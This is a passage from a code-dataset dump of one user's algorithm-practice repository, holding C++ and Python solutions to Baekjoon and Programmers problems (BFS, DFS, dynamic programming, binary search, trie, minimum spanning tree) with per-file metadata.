0;\n}"},{"alpha_fraction":0.45670628547668457,"alphanum_fraction":0.4821731746196747,"avg_line_length":18.032258987426758,"blob_id":"b8d31e22da1ae0592ef953ff85a902d3f290c119","content_id":"d3f3f5de3c77ac897eaf2ade2b3985996674e880","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":623,"license_type":"no_license","max_line_length":88,"num_lines":31,"path":"/programmers/Level 2/more_spicy.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 2: 더 맵게\ndate: 2022-02-23\n-\n새로운 초기화 방법을 알게 되었다..! (line 12)\n*/\n#include <vector>\n#include <queue>\nusing namespace std;\n\nint solution(vector<int> scoville, int K) {\n priority_queue<int, vector<int>, greater<int>> pq(scoville.begin(), scoville.end());\n int answer = 0;\n \n while(pq.top() < K){\n if(pq.size() == 1){\n answer = -1;\n break;\n }\n \n int a = pq.top(); \n pq.pop();\n int b = pq.top();\n pq.pop();\n \n pq.push(a + b * 2);\n answer++;\n }\n \n return answer;\n}"},{"alpha_fraction":0.42402827739715576,"alphanum_fraction":0.4478798508644104,"avg_line_length":21.215686798095703,"blob_id":"410448911df956b6a5b3550e0d903c27434d3c9a","content_id":"952f66f167b94378e6ab75cc1ce8c588e74b1152","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1142,"license_type":"no_license","max_line_length":53,"num_lines":51,"path":"/programmers/Level 3/the_farthest_node.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nprogrammers Level 3: 가장 먼 노드\n2022-02-22\nBFS\n*/\n#include <vector>\n#include <algorithm>\n#include <queue>\nusing namespace std;\n\nint solution(int n, vector<vector<int>> edge) {\n vector<int> graph[n + 1];\n vector<bool> visited(n + 1, false);\n vector<int> d(n + 1, 0);\n queue<int> q;\n int answer = 0;\n \n for(int i = 0 ; i < edge.size() ; i++) {\n graph[edge[i][0]].push_back(edge[i][1]);\n graph[edge[i][1]].push_back(edge[i][0]);\n }\n \n q.push(1);\n d[1] = 0;\n visited[1] = true;\n \n while(!q.empty()){\n int cur = q.front();\n q.pop();\n \n for(int i = 0 ; i < graph[cur].size() ; i++){\n if(!visited[graph[cur][i]]) {\n int nextNode = graph[cur][i];\n int nextDistance = d[cur] + 1;\n \n d[nextNode] = nextDistance;\n visited[nextNode] = true;\n q.push(nextNode);\n }\n }\n }\n \n sort(d.begin(), d.end(), greater<>());\n \n for(int i = 0 ; i <= n ; i++){\n if(d[i] != d[0]) break;\n answer++;\n }\n \n return answer;\n}"},{"alpha_fraction":0.41582491993904114,"alphanum_fraction":0.4680134654045105,"avg_line_length":16,"blob_id":"63606d6b919a36ed921e4b868bee1970534cb96a","content_id":"6c524fa98e7e5fe456f59d5be07810ab3cbdb34d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":608,"license_type":"no_license","max_line_length":59,"num_lines":35,"path":"/BOJ/Implementation/15565.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 15565번: 귀여운 라이언\nDATE: 2022-02-01\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n vector<int> vec;\n int n, k, num;\n int ans = 1000001;\n\n cin >> n >> k;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n if(num == 1) vec.push_back(i);\n }\n\n if(vec.size() < k) {\n cout << -1;\n return 0;\n }\n\n for(int i = 0 ; i <= vec.size() - k ; i++) {\n ans = min(ans, vec[i + k - 1] - vec[i] + 1);\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.41701245307922363,"alphanum_fraction":0.4730290472507477,"avg_line_length":15.655172348022461,"blob_id":"f0e199f3633498df26ba48e4a22a9dbe1d1bd1e1","content_id":"5460d131de2e0cf350ea5b7409048c5f15089c5f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":494,"license_type":"no_license","max_line_length":58,"num_lines":29,"path":"/BOJ/Dynamic Programming/9461.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9461번: 파도반 수열\nDATE: 2021-05-28\nDynamic programming\n*/\n#include <iostream>\n#define MAX 101\nusing namespace std;\nlong long dp[MAX];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int tc;\n cin >> tc;\n\n dp[1] = dp[2] = dp[3] = 1;\n\n for(int i = 4 ; i < MAX ; i++){\n dp[i] = dp[i - 2] + dp[i - 3];\n }\n\n for(int i = 0 ; i < tc ; i++){\n int num;\n cin >> num;\n cout << dp[num] << '\\n';\n }\n \n return 0;\n}"},{"alpha_fraction":0.42935678362846375,"alphanum_fraction":0.44310060143470764,"avg_line_length":22.636363983154297,"blob_id":"be1b981790c5224ffc9a152c08994a9a24676b68","content_id":"a0b77c5aa3559f638f40052a83678aa024380d46","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1819,"license_type":"no_license","max_line_length":77,"num_lines":77,"path":"/programmers/Level 3/bad_user.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 3 : Bad user\n//2019 KAKAO Winter Internship\n//2021-05-08\n#include <string>\n#include <vector>\n#include <set>\n#include <iostream>\n#include <algorithm>\nusing namespace std;\nvector<vector<int>> v;\nset<set<int>> s;\n\nvoid dfs(int depth, vector<int> list){\n if(depth == v.size()){\n set<int> tmp;\n for(int i = 0 ; i < list.size() ; i++){\n tmp.insert(list[i]);\n }\n s.insert(tmp);\n return ;\n }\n\n for(int i = 0 ; i < v[depth].size() ; i++){\n auto it = find(list.begin(), list.end(), v[depth][i]);\n if(it != list.end()){\n continue;\n }\n list.push_back(v[depth][i]);\n dfs(depth + 1, list);\n list.pop_back();\n }\n}\n\nint solution(vector<string> user_id, vector<string> banned_id) {\n int answer = 0;\n vector<int> tmp;\n bool flag;\n \n for(int i = 0 ; i < banned_id.size() ; i++){\n for(int j = 0 ; j < user_id.size() ; j++){\n if(user_id[j].length() != banned_id[i].length())\n continue;\n\n flag = true;\n \n for(int k = 0 ; k < banned_id[i].length() ; k++){\n if(banned_id[i][k] != '*'){\n if(banned_id[i][k] != user_id[j][k]){\n flag = false;\n break;\n }\n }\n }\n \n if(flag){\n tmp.push_back(j);\n }\n }\n v.push_back(tmp);\n tmp.clear();\n }\n\n dfs(0, tmp);\n answer = s.size();\n\n return answer;\n}\n\nint main(){\n vector<string> user_id = {\"frodo\", \"fradi\", \"crodo\", \"abc123\", \"frodoc\"};\n vector<string> banned_id = {\"fr*d*\", \"*rodo\", \"******\", \"******\"};\n\n int ans = solution(user_id, banned_id);\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.39732685685157776,"alphanum_fraction":0.449574738740921,"avg_line_length":17.727272033691406,"blob_id":"bc035ecb810f36d1b4961af2a2b9133fd2bccbf6","content_id":"9e6ad5e9ea90b8c5aa93ba4dd56cc167662e58e8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":833,"license_type":"no_license","max_line_length":58,"num_lines":44,"path":"/BOJ/Binary Search/3079.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 3079번: 입국심사\nDATE: 2021-03-21\nBinary Search\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n#define MAX 1000000000000000000\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n long long n, m, total, start, end, mid;\n long long min = MAX;\n cin >> n >> m;\n\n int time[n];\n for (int i = 0; i < n; i++) {\n cin >> time[i];\n }\n\n sort(time, time + n);\n end = m * time[n - 1];\n\n while (end - start >= 0) {\n mid = (start + end) / 2;\n total = 0;\n for (int i = 0; i < n; i++) {\n total += mid / time[i];\n }\n\n if (total >= m) {\n end = mid - 1;\n if (mid < min) min = mid;\n }\n else if (total < m) {\n start = mid + 1;\n }\n }\n\n cout << min;\n\n return 0;\n}"},{"alpha_fraction":0.4460028111934662,"alphanum_fraction":0.47124823927879333,"avg_line_length":17.063291549682617,"blob_id":"4eebfcc40dd3ea7ce791a168476288821034b7bb","content_id":"305b2dd7d0294e69848afb8bc91ab651a1c0391e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1562,"license_type":"no_license","max_line_length":58,"num_lines":79,"path":"/BOJ/Graph Theory/5052.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 5052번: 전화번호 목록\nDATE: 2021-03-29\n*/\n#include <iostream>\n#include <string>\n#include <cstring>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nstruct Trie {\n\tTrie* next[10];\n\tbool finish;\n\tbool nextChild;\n\n\tTrie() {\n\t\tfill(next, next + 10, nullptr);\n\t\tfinish = nextChild = false;\n\t}\n\n\tvoid insert(char* key) {\n\t\tif (*key == '\\0') { //입력 끝\n\t\t\tfinish = true;\n\t\t}\n\t\telse {\n\t\t\tint now = *key - '0';\n\n\t\t\tif (next[now] == NULL) //연결된 노드 없을 때\n\t\t\t\tnext[now] = new Trie(); \n\t\t\tnextChild = true;\n\n\t\t\tnext[now]->insert(key + 1); //다음 문자열로 넘어감\n\t\t}\n\t}\n\n\tbool find(char* key) {\n\t\tif (*key == '\\0') //노드가 생성되지 않은 경우\n\t\t\treturn false;\n\t\tif (finish) //존재하는 문자열일 경우\n\t\t\treturn true;\n\t\tint now = *key - '0';\n\t\treturn next[now]->find(key + 1); //다음 문자열로 넘어감\n\t}\n};\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int t, n;\n cin >> t;\n\n for(int i = 0 ; i < t ; i++){\n bool check = false;\n char num[10001][11];\n\n cin >> n;\n Trie* trie = new Trie();\n\n for(int i = 0 ; i < n ; i++){\n cin >> num[i];\n trie->insert(num[i]);\n }\n \n for(int i = 0 ; i < n ; i++){\n if(trie->find(num[i])){ //해당 번호가 접두어로 존재\n check = true;\n break;\n }\n }\n \n if(check) \n cout << \"NO\\n\";\n else\n cout << \"YES\\n\";\n\n delete trie;\n }\n return 0;\n}"},{"alpha_fraction":0.44581618905067444,"alphanum_fraction":0.49108368158340454,"avg_line_length":16.380952835083008,"blob_id":"ff15bbc8b33dd0e7ce3da98c39239c2dd3ae31e6","content_id":"822908729222c9415362eeeab97b7472f98aa0ee","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":785,"license_type":"no_license","max_line_length":81,"num_lines":42,"path":"/BOJ/BFS_DFS/16953.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 16953번: A → B\nDATE: 2022-03-13\n-\nx * 2 연산과 y * 10 + 1 연산 중 중복이 발생할 수 없으므로 방문 체크 안 해줘도 됨\n*/\n#include <iostream>\n#include <queue>\n#define ll long long\nusing namespace std;\n\nll a, b;\nint cnt;\n\nvoid bfs(ll a){\n queue<pair<ll,ll>> q;\n q.push({a, 1});\n\n while(!q.empty()){\n pair<ll,ll> cur = q.front();\n q.pop();\n\n if(cur.first == b) {\n cout << cur.second;\n return;\n }\n\n if(cur.first * 2 <= b) q.push({cur.first * 2, cur.second + 1});\n if(cur.first * 10 + 1 <= b) q.push({cur.first * 10 + 1, cur.second + 1});\n }\n\n cout << -1;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> a >> b;\n\n bfs(a);\n\n return 0;\n}"},{"alpha_fraction":0.4637801945209503,"alphanum_fraction":0.487926721572876,"avg_line_length":20.464284896850586,"blob_id":"b4ab02b281fcdd8a6dc79dfbf571df974b6b6d6a","content_id":"1baf0cd6209d654a0e90d9ce0c3cd7f78bf80340","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1267,"license_type":"no_license","max_line_length":73,"num_lines":56,"path":"/BOJ/Binary Search/2568.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2568번: 전깃줄 - 2\nDATE: 2022-02-24\n*/\n#include <iostream>\n#include <vector>\n#include <algorithm>\nusing namespace std;\n\nvector<int> inputA, inputB, lis, index;\n\nvoid backtrace(int i, int num){\n if(i == -1) return;\n if(index[i] == num){\n inputA[i] = -1; // 가장 긴 증가하는 부분 수열에 해당하는 인덱스는 -1로 처리\n backtrace(i - 1, num - 1);\n }\n else backtrace(i - 1, num);\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n vector<pair<int,int>> p;\n int n, a, b;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> a >> b;\n p.push_back({a, b});\n }\n\n sort(p.begin(), p.end());\n \n for(int i = 0 ; i < n ; i++){\n inputA.push_back(p[i].first); // A 전봇대\n inputB.push_back(p[i].second); // B 전봇대\n\n int num = p[i].second;\n int idx = lower_bound(lis.begin(), lis.end(), num) - lis.begin();\n\n if(lis.empty() || num > lis.back()) lis.push_back(num);\n else lis[idx] = num;\n\n index.push_back(idx);\n }\n \n cout << n - lis.size() << '\\n';\n\n backtrace(n - 1, lis.size() - 1); \n\n for(int i = 0 ; i < n ; i++){\n if(inputA[i] != -1) cout << inputA[i] << '\\n';\n }\n\n return 0;\n}"},{"alpha_fraction":0.440559446811676,"alphanum_fraction":0.5104895234107971,"avg_line_length":20.22222137451172,"blob_id":"65ca8a69f6ce46f908676a5326d77365c4856e36","content_id":"1aa68791ca0a62db75222c89dbd943efcdfa0f3f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":578,"license_type":"no_license","max_line_length":60,"num_lines":27,"path":"/BOJ/Dynamic Programming/1149.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1149번: RGB거리\nDATE: 2021-07-27\nDynamic Programming\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint house[1000][3];\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, r, g, b;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> r >> g >> b;\n house[i][0] = min(house[i-1][1], house[i-1][2]) + r;\n house[i][1] = min(house[i-1][0], house[i-1][2]) + g;\n house[i][2] = min(house[i-1][0], house[i-1][1]) + b;\n }\n\n cout << *min_element(house[n-1], house[n-1] + 3);\n\n return 0;\n}"},{"alpha_fraction":0.38828203082084656,"alphanum_fraction":0.4280039668083191,"avg_line_length":18.764705657958984,"blob_id":"27f808e6858fe8ef891393bf2ca6487502ba6b6f","content_id":"c5c2982ab287839364627b81326a40791bb28112","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1117,"license_type":"no_license","max_line_length":93,"num_lines":51,"path":"/BOJ/BFS_DFS/13549_1.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 13549번: 숨바꼭질 3\n2022-01-12\nBFS ver.\n*/\n#include <iostream>\n#include <queue>\n#define MAX 100001\nusing namespace std;\n\nint mv[3] = {2, -1, 1};\nint sec[MAX] = {0, };\nqueue<int> q;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, k;\n cin >> n >> k;\n\n sec[n] = 1; // 0초로 두고 시작하면 이미 방문했어도 방문하지 않은 것으로 판단된다. 따라서 초깃값을 1로 설정하고 답을 출력할 때 -1 해주는 것.\n q.push(n);\n\n while(!q.empty()){\n int cur = q.front();\n int next;\n q.pop();\n\n if(cur == k){\n cout << sec[cur] - 1;\n break;\n }\n\n for(int i = 0 ; i < 3 ; i++){\n bool flag = true;\n\n if(i > 0) { \n next = cur + mv[i];\n flag = false;\n }\n else next = cur * mv[i];\n\n if(next < 0 || next > MAX - 1 || sec[next]) continue;\n \n q.push(next);\n if(!flag) sec[next] = sec[cur] + 1;\n else sec[next] = sec[cur];\n } \n }\n\n return 0;\n}"},{"alpha_fraction":0.47770699858665466,"alphanum_fraction":0.5133758187294006,"avg_line_length":16.086956024169922,"blob_id":"b6136135881989d79f3525e9750306033c57a1ee","content_id":"d314c92319021f5f957f26bb667450177eced66b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":801,"license_type":"no_license","max_line_length":59,"num_lines":46,"path":"/BOJ/Mathematics/1990.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1990번: 소수인팰린드롬\n2021-12-26\n*/\n#include <iostream>\n#include <algorithm>\n#include <math.h>\nusing namespace std;\n\nbool isPrime(int num) {\n if(num < 2) return false;\n\n for(int i = 2 ; i <= sqrt(num) ; i++) {\n if(num % i == 0) return false;\n }\n\n return true;\n}\n\nbool isPalindrome(string str) {\n string front, back;\n \n front = str;\n reverse(str.begin(), str.end());\n back = str;\n\n if(front == back) return true;\n else return false;\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \n int a, b;\n cin >> a >> b;\n\n for(int i = a ; i <= 10000000 ; i++) {\n if(i > b) break;\n if(isPalindrome(to_string(i)) && isPrime(i)) {\n cout << i << '\\n';\n }\n }\n\n cout << -1;\n\n return 0;\n}"},{"alpha_fraction":0.38199180364608765,"alphanum_fraction":0.425648033618927,"avg_line_length":16.4761905670166,"blob_id":"02f888ae83c3943ccc4f27eac21e47990006735b","content_id":"07b16f786047a93d889d56eaebe4527bb8d599b8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":743,"license_type":"no_license","max_line_length":58,"num_lines":42,"path":"/BOJ/BFS_DFS/2644.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2644번: 촌수계산\nDATE: 2021-10-18\nDFS\n*/\n#include <iostream>\nusing namespace std;\n\nint n, a, b, answer = -1;\nint arr[100][100];\nbool visited[100] = {false,};\n\nvoid dfs(int node, int length) {\n visited[node] = true;\n\n for(int i = 1 ; i <= n ; i++) {\n if(arr[node][i] == 1 && !visited[i]) {\n if(i == b) {\n answer = length;\n return;\n }\n dfs(i, length + 1);\n }\n }\n}\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int m;\n cin >> n >> a >> b >> m;\n\n for(int i = 0 ; i < m ; i++) {\n int x, y;\n cin >> x >> y;\n arr[x][y] = arr[y][x] = 1;\n }\n\n dfs(a, 1);\n cout << answer;\n\n return 0;\n}"},{"alpha_fraction":0.34279918670654297,"alphanum_fraction":0.36916837096214294,"avg_line_length":17.62264060974121,"blob_id":"9079c6c8f5be3f0b81661b80672f547157a3c794","content_id":"ba0ac0f1a8bbfd30177ca8399a2e5487d433dba8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":994,"license_type":"no_license","max_line_length":58,"num_lines":53,"path":"/BOJ/Binary Search/1920.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//BOJ 1920번: 수 찾기\n//2021-05-25\n//Binary Search\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, m;\n bool flag = false;\n cin >> n;\n\n int arr[n];\n for(int i = 0 ; i < n ; i++){\n cin >> arr[i];\n }\n \n sort(arr, arr + n);\n\n cin >> m;\n for(int i = 0 ; i < m ; i++){\n int num;\n cin >> num;\n\n int start = 0;\n int end = n - 1;\n int mid = 0;\n\n while(start <= end){\n mid = (start + end) / 2;\n\n if(arr[mid] == num){\n cout << 1 << \"\\n\";\n flag = true;\n break;\n }\n else if(arr[mid] < num){\n start = mid + 1;\n }\n else if(arr[mid] > num){\n end = mid - 1;\n }\n }\n\n if(!flag)\n cout << 0 << \"\\n\";\n else\n flag = false;\n }\n\n return 0;\n}"},{"alpha_fraction":0.4457399249076843,"alphanum_fraction":0.48520180583000183,"avg_line_length":17.295082092285156,"blob_id":"e527d5d6ba90c532093c58f6bbdaedbf826c8c2b","content_id":"c815b994b23b2d7f7c342f12614ac6dc4596f3b6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1143,"license_type":"no_license","max_line_length":100,"num_lines":61,"path":"/BOJ/BFS_DFS/2178.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UHC","text":"/*\nBOJ 2178번: 미로 탐색\nDATE: 2021-01-19\nBFS\n*/\n#include <iostream>\n#include <queue>\n#define MAX 100\n\nusing namespace std;\nint n, m;\nint maze[MAX][MAX];\nint dx[] = { 0, 0, -1, 1 };\nint dy[] = { -1, 1, 0, 0 };\nbool visited[MAX][MAX] = { false, };\n\nvoid bfs() {\n\tqueue<pair<int, int>> q;\n\tpair<int, int> p; //현재 위치\n\n\tq.push(make_pair(0, 0));\n\tvisited[0][0] = true;\n\n\twhile (!q.empty()) {\n\t\tp = q.front();\n\t\tq.pop();\n\n\t\tfor (int i = 0; i < 4; i++) {\n\t\t\tint ny = p.first + dy[i];\n\t\t\tint nx = p.second + dx[i];\n\n\t\t\tif (p.first + dy[i] < 0 || p.first + dy[i] >= n || p.second + dx[i] < 0 || p.second + dx[i] >= m)\n\t\t\t\tcontinue;\n\t\t\tif (nx >= 0 && ny >= 0 && ny < n && nx < m && maze[ny][nx] == 1 && visited[ny][nx] == false) {\n\t\t\t\tvisited[ny][nx] = true;\n\t\t\t\tq.push(make_pair(ny, nx));\n\t\t\t\tmaze[ny][nx] = maze[p.first][p.second] + 1; //거리 구하기\n\t\t\t}\n\t\t}\n\t}\n}\n\nint main() {\n\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n\t\n\tcin >> n >> m;\n\n\tfor (int i = 0; i < n; i++) {\n\t\tstring str;\n\t\tcin >> str;\n\t\tfor (int j = 0; j < m; j++) {\n\t\t\tmaze[i][j] = str[j] - '0';\n\t\t}\n\t}\n\n\tbfs();\n\n\tcout << maze[n - 1][m - 1];\n\n\treturn 0;\n}"},{"alpha_fraction":0.37295082211494446,"alphanum_fraction":0.44262295961380005,"avg_line_length":15.862069129943848,"blob_id":"03df31deda58006a312e49617f3ba869773eb86b","content_id":"4817a15455d1405e2715f560d92b9b2fa533c7e4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":496,"license_type":"no_license","max_line_length":58,"num_lines":29,"path":"/BOJ/Dynamic Programming/9095.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 9095번: 1, 2, 3 더하기\nDATE: 2021-05-28\nDynamic programming\n*/\n#include <iostream>\nusing namespace std;\nint dp[11];\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int tc;\n cin >> tc;\n\n dp[1] = 1;\n dp[2] = 2;\n dp[3] = 4;\n\n for(int i = 4 ; i < 11 ; i++){\n dp[i] = dp[i - 1] + dp[i - 2] + dp[i - 3];\n }\n\n for(int i = 0 ; i < tc ; i++){\n int num;\n cin >> num;\n cout << dp[num] << '\\n';\n }\n \n return 0;\n}"},{"alpha_fraction":0.47975707054138184,"alphanum_fraction":0.5050607323646545,"avg_line_length":17.660377502441406,"blob_id":"d2ad3bb5137832edcb54ec62c3d5a581428aa81a","content_id":"d89e8b7d341250c83556d98657df48286b25b538","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1004,"license_type":"no_license","max_line_length":58,"num_lines":53,"path":"/BOJ/MST/1197_2.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1197번: 최소 스패닝 트리\nDATE: 2022-03-02\nPrim Algorithm\n*/\n#include <iostream>\n#include <vector>\n#include <queue>\n#define pii pair<int,int>\n#define MAX 10001\nusing namespace std;\n\nvector<pii> edge[MAX];\nbool visited[MAX];\nint ans;\n\nvoid prim(){\n priority_queue<pii, vector<pii>, greater<pii>> pq;\n pq.push({0, 1});\n\n while(!pq.empty()){\n int dis = pq.top().first;\n int cur = pq.top().second;\n pq.pop();\n\n if(visited[cur]) continue; \n visited[cur] = true;\n ans += dis;\n\n for(int i = 0 ; i < edge[cur].size() ; i++){\n if(visited[edge[cur][i].second]) continue;\n pq.push(edge[cur][i]);\n }\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int v, e;\n int a, b, c;\n cin >> v >> e;\n\n for(int i = 0 ; i < e ; i++){\n cin >> a >> b >> c;\n edge[a].push_back({c, b});\n edge[b].push_back({c, a});\n }\n\n prim();\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4353582561016083,"alphanum_fraction":0.4548286497592926,"avg_line_length":20.41666603088379,"blob_id":"20d84a663476eb76a8eac1446dd385786cbbb115","content_id":"5b822af54a25dac1f40e1b168b8a9ba26827ddc0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1388,"license_type":"no_license","max_line_length":97,"num_lines":60,"path":"/BOJ/Prefix Sum/10800.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 10800번: 컬러볼\nDATE: 2021-08-05\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nstruct Info{\n int size;\n int color;\n int index;\n};\n\nbool cmp(const Info& a, const Info& b){\n if(a.size == b.size) return a.color < b.color;\n return a.size < b.size;\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, c, s, idx, sum_size=0;\n cin >> n;\n \n Info info[n];\n int sum_color[n]= {0,}, ans[n] = {0,};\n\n for(int i = 0 ; i < n ; i++){\n cin >> c >> s;\n info[i].size = s;\n info[i].color = c - 1;\n info[i].index = i;\n }\n\n sort(info, info + n, cmp);\n\n for(int i = 0 ; i < n ; i++){\n idx = i;\n\n for(int j = idx ; j < n ; j++){ // 같은 크기의 공만큼 idx 증가\n if(info[i].size == info[j].size) idx++;\n else break;\n }\n\n for(int j = i ; j < idx ; j++){\n ans[info[j].index] = sum_size - sum_color[info[j].color]; // 자기 공과 색이 다른 공만 잡을 수 있으므로\n }\n\n for(int j = i ; j < idx ; j++){\n sum_size += info[j].size; // 전체 크기 누적\n sum_color[info[j].color] += info[j].size; // 색상 별 크기 누적\n }\n\n i = idx - 1; // 다음 크기로 넘어감\n }\n\n for(int i = 0 ; i < n ; i++) cout << ans[i] << '\\n';\n\n return 0;\n}"},{"alpha_fraction":0.397082656621933,"alphanum_fraction":0.4278768301010132,"avg_line_length":20.310344696044922,"blob_id":"b505bba62dcef415d430d16dc7c31b431eb9155a","content_id":"6beabf690cc655a82e9fcc0f2aaae1a7eca9c80b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":627,"license_type":"no_license","max_line_length":36,"num_lines":29,"path":"/programmers/Level 3/the_farthest_node.py","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"# programmers Level 3: 가장 먼 노드\n# date: 2022-04-15\ndef solution(n, edge):\n graph = [[] for _ in range(n+1)]\n visited = [False] * (n + 1)\n d = [[]] * (n + 1)\n\n for a, b in edge:\n graph[a].append(b)\n graph[b].append(a)\n \n queue = []\n queue.append(1)\n visited[1] = True\n d[1] = 0\n \n while queue:\n cur = queue.pop(0)\n \n for i in graph[cur]:\n if not visited[i]:\n queue.append(i)\n visited[i] = True\n d[i] = d[cur] + 1\n \n d = d[1:]\n answer = d.count(max(d))\n \n return answer"},{"alpha_fraction":0.44897958636283875,"alphanum_fraction":0.5020408034324646,"avg_line_length":15.931034088134766,"blob_id":"8f3cbfb8dd7c7180538a8ff1d2b75ee11b2e369c","content_id":"8cb32525f42dd173621aba6aa10a38e1cf982f7a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":498,"license_type":"no_license","max_line_length":58,"num_lines":29,"path":"/BOJ/Dynamic Programming/1912.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1912번: 연속합\nDATE: 2021-07-20\n*/\n#include <iostream>\n#include <algorithm>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n long long input[100001];\n long long n, ans;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++){\n cin >> input[i];\n }\n\n ans = input[0];\n\n for(int i = 1 ; i < n ; i++){\n input[i] = max(input[i], input[i] + input[i-1]);\n ans = max(ans, input[i]);\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.3304195702075958,"alphanum_fraction":0.3723776340484619,"avg_line_length":18.100000381469727,"blob_id":"8d744d426e1dc364180a80181865aaae09014e44","content_id":"bf2b356e6250f5db1514d5d466469e8c75e54c8b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":592,"license_type":"no_license","max_line_length":58,"num_lines":30,"path":"/BOJ/Mathematics/2960.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 2960번: 에라토스테네스의 체\nDATE: 2021-10-10\n*/\n#include <iostream>\n#include <math.h>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int arr[1001] = {0, };\n int n, k, cnt = 0;\n cin >> n >> k;\n\n for(int i = 2 ; i <= n ; i++) {\n for(int j = i ; j <= n ; j += i) {\n if(arr[j] == 0) {\n cnt++;\n arr[j] = j;\n }\n if(cnt == k) {\n cout << j;\n break;\n }\n }\n if(cnt == k) break;\n }\n\n return 